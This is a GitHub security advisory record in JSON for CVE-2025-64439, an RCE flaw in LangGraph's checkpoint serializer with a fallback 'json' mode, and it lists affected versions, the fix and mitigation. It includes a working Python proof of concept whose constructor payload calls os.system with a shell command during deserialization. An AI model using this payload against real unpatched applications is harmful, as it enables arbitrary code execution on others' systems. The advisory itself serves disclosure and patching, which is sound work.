{"id":"GHSA-wwqv-p2pp-99h5","summary":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ","details":"# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.","aliases":["CVE-2025-64439"],"modified":"2025-11-07T22:09:59.388287Z","published":"2025-11-05T19:52:50Z","database_specific":{"cwe_ids":["CWE-502"],"severity":"HIGH","nvd_published_at":"2025-11-07T21:15:41Z","github_reviewed":true,"github_reviewed_at":"2025-11-05T19:52:50Z"},"references":[{"type":"WEB","url":"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64439"},{"type":"WEB","url":"https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac"},{"type":"PACKAGE","url":"https://github.com/langchain-ai/langgraph"},{"type":"WEB","url":"https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py"},{"type":"WEB","url":"https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0"}],"affected":[{"package":{"name":"langgraph-checkpoint","ecosystem":"PyPI","purl":"pkg:pypi/langgraph-checkpoint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"versions":["1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-wwqv-p2pp-99h5/GHSA-wwqv-p2pp-99h5.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H"}]}